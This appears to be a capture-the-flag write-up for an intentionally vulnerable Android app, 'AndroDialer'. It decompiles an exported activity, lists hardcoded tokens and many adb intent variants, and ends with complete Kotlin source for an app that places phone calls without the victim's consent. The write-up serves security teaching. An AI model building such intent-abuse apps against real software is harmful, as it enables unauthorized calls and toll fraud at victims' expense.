Post

AndroDialer - The Ultimate Phone Experience

In this challenge, AndroDialer.apk was provided. On installing over a device running android 16, it looks like a call app with Dialer, Contacts and Recent feature.

Dialer Screen of AndroDialer

Dialer Screen of AndroDialer

Our Goal

Create a malicious application that exploits the AndroDialer application to initiate unauthorized phone calls to arbitrary numbers without the victim’s consent.

Analysis

As first step of analysis, we opened our target app in jadx-gui , we get to see com.eightksec.androdialer.CallHandlerServiceActivity is the one activity that’s exported other than MainActivity and has no UI.

`com.eightksec.androdialer.CallHandlerServiceActivity` as exported activity

com.eightksec.androdialer.CallHandlerServiceActivity as exported activity

If we analysed com.eightksec.androdialer.CallHandlerServiceActivity decompiled code. It was calling startActivity with intent having data strGroup (which is basically phone number) and action android.intent.action.CALL.

making call with the phone number passed in strGroup

making call with the phone number passed in strGroup

To pass the phone number in strGroup, we should have passed enterprise_auth_token or token which can be one of 8kd1aL3R_s3Cur3_k3Y_2023 and 8kd1aL3R-s3Cur3-k3Y-2023 .

Validating if `arraryList` has one of the hardcoded secret key among `8kd1aL3R_s3Cur3_k3Y_2023` and `8kd1aL3R-s3Cur3-k3Y-2023`.

Validating if arraryList has one of the hardcoded secret key among 8kd1aL3R_s3Cur3_k3Y_2023 and 8kd1aL3R-s3Cur3-k3Y-2023.

if the data (Uri data = getIntent().getData()) passed along intent satisfies the condition(data != null && data.isHierarchical()) then we have mainly multiple ways of passing the enterprise_auth_token . Method 1: One is as extra along with intent .

Parsing `enterprise_auth_token` or `token` and adding to arrayList

Parsing enterprise_auth_token or token and adding to arrayList

Example:

1
2
3
4
adb shell am start \
  -n com.eightksec.androdialer/.CallHandlerServiceActivity \
  -a com.eightksec.androdialer.action.PERFORM_CALL \
  --es "enterprise_auth_token" "8kd1aL3R_s3Cur3_k3Y_2023"

Method 2: Pass it in data where data should have hierarchical structure. Eg. dialersec://call/?enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023

Method 3: Pass enterprise_auth_token as segment after token maintaining data in hierarchical structure. Eg. dialersec://call/tokn/8kd1aL3R_s3Cur3_k3Y_2023

Method 4: (4 subcases in fragment itself): Passing in fragment of data uri. Eg. dialersec://call/?#enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023 dialersec://call/?#token=8kd1aL3R_s3Cur3_k3Y_2023 dialersec://call/#/!&enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023 dialersec://call/#xomthing=random;S.enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023

Method 5: Passing in data uri using ; seperator. dialersec://call/test=anything;enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023

After passing token, we need to pass the phone number that gets into the strGroup variable. Cause now array list will be greater than 0 than the default value of i.

image.png

Passing number into strGroup

There are multiple method to pass the phone number in strGroup over which later call will be made.

Method 1: As an extra with key phoneNumber

image.png

Eg.

1
2
3
4
5
adb shell 'am start \
  -n com.eightksec.androdialer/.CallHandlerServiceActivity \
  -a com.eightksec.androdialer.action.PERFORM_CALL \
  -d "dialersec://call/#/!&enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023" \
  --es phoneNumber 9840341641'

Method 2:

Since strGroup is equal to getSchemeSpecificPart() ; here getSchemeSpecificPart() returns anything between schema and segement # Here in schema of data we need to pass tel

image.png

Eg. of data of intent tel://9810234567/#/!&enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023

Method 3: If scheme of data is dialersec and host is call queryParameter is null then from path segment its finding the index of number than its taking next value just next to the index of number as strGroup . So, overall data looks like dialersec://call/number/9840341641#/!&enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023 Eg.

image.png

Method 4: Just as Method 3 but parameter has not to be null in data of intent. Eg. dialersec://call/?number=9801010101#/!&enterprise_auth_token=8kd1aL3R_s3Cur3_k3Y_2023

image.png

Method 5 (When scheme is not equal to dialersec): dataString is supposed to start with tel: and anything after that will be the value ofstrGroup Eg:

1
2
3
4
adb shell 'am start \
  -n com.eightksec.androdialer/.CallHandlerServiceActivity \
  -a com.eightksec.androdialer.action.PERFORM_CALL \
  -d "tel://9801010101" --es "enterprise_auth_token" "8kd1aL3R_s3Cur3_k3Y_2023"'

image.png

Method 6 (When scheme is not equal to dialersec): Here it checks for anything digital in data and should not have dialersec as scheme, any number in data will be extracted and pass to strGroup .

1
2
3
4
adb shell 'am start \
  -n com.eightksec.androdialer/.CallHandlerServiceActivity \
  -a com.eightksec.androdialer.action.PERFORM_CALL \
  -d "abything12345" --es "enterprise_auth_token" "8kd1aL3R_s3Cur3_k3Y_2023"'

image.png

Method 7: (When scheme is not equal to dialersec) Here we can pass in any form but we should use ;number= before passing actual number

1
2
3
4
adb shell 'am start \
  -n com.eightksec.androdialer/.CallHandlerServiceActivity \
  -a com.eightksec.androdialer.action.PERFORM_CALL \
  -d "anything1231;number=987" --es "enterprise_auth_token" "8kd1aL3R_s3Cur3_k3Y_2023"'

image.png

Final Execution

If we able to pass number into strGroup bypassing any one of the check we have listed above. Then, strGroup will get pass and activity with android.intent.action.CALL action will start the activity with FLAG_ACTIVITY_NEW_TASK flag, which will be handled by app that makes the call.

image.png

Mobile Application code

Since exploit app can be implemented in so many ways, we took the following case as baseline.

1
2
3
4
adb shell 'am start \
  -n com.eightksec.androdialer/.CallHandlerServiceActivity \
  -a com.eightksec.androdialer.action.PERFORM_CALL \
  -d "anything1231;number=987" --es "enterprise_auth_token" "8kd1aL3R_s3Cur3_k3Y_2023"'

Source Code: Fill the phone number, click on Dial, trigger the intent and make call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.nirajneupane08.androdialer

import android.content.Intent
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.Spacer
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.foundation.layout.height
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.text.KeyboardOptions
import androidx.compose.material3.Button
import androidx.compose.material3.OutlinedTextField
import androidx.compose.material3.Scaffold
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import androidx.compose.runtime.setValue
import androidx.compose.ui.Modifier
import androidx.compose.ui.text.input.KeyboardType
import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp
import com.nirajneupane08.androdialer.ui.theme.AndroDialerTheme

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContent {
            AndroDialerTheme {
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                    PhoneInputField(
                        modifier = Modifier.padding(innerPadding)
                    )
                }
            }
        }
    }
}

@Composable
fun PhoneInputField(modifier: Modifier = Modifier) {
    var phoneNumber by remember { mutableStateOf("") }
    val context = androidx.compose.ui.platform.LocalContext.current
    Column(
        modifier = modifier
            .fillMaxSize()
            .padding(16.dp),
        horizontalAlignment = androidx.compose.ui.Alignment.CenterHorizontally
    ) {
        OutlinedTextField(
            value = phoneNumber,
            label = { Text("Phone Number") },
            placeholder = { Text("Enter phone number") },
            modifier = Modifier.fillMaxWidth(),
            keyboardOptions = KeyboardOptions(keyboardType = KeyboardType.Phone),
            singleLine = true,
            onValueChange = { phoneNumber = it }
        )
        Spacer(modifier = Modifier.height(16.dp))
        Button(
            onClick = { exploit(context, phoneNumber) },
            modifier = Modifier.fillMaxWidth()
        ) {
            Text("Dial")
        }
    }
}
fun exploit(context: android.content.Context, phoneNumber: String) {
    val intent = Intent("com.eightksec.androdialer.action.PERFORM_CALL")
    intent.setData(android.net.Uri.parse("anything1231;number=$phoneNumber"))
    intent.putExtra("enterprise_auth_token", "8kd1aL3R_s3Cur3_k3Y_2023")
    intent.setClassName("com.eightksec.androdialer", "com.eightksec.androdialer.CallHandlerServiceActivity")
    context.startActivity(intent)
}
@Preview(showBackground = true)
@Composable
fun PhoneInputFieldPreview() {
    AndroDialerTheme {
        PhoneInputField()
    }
}
This post is licensed under CC BY 4.0 by the author.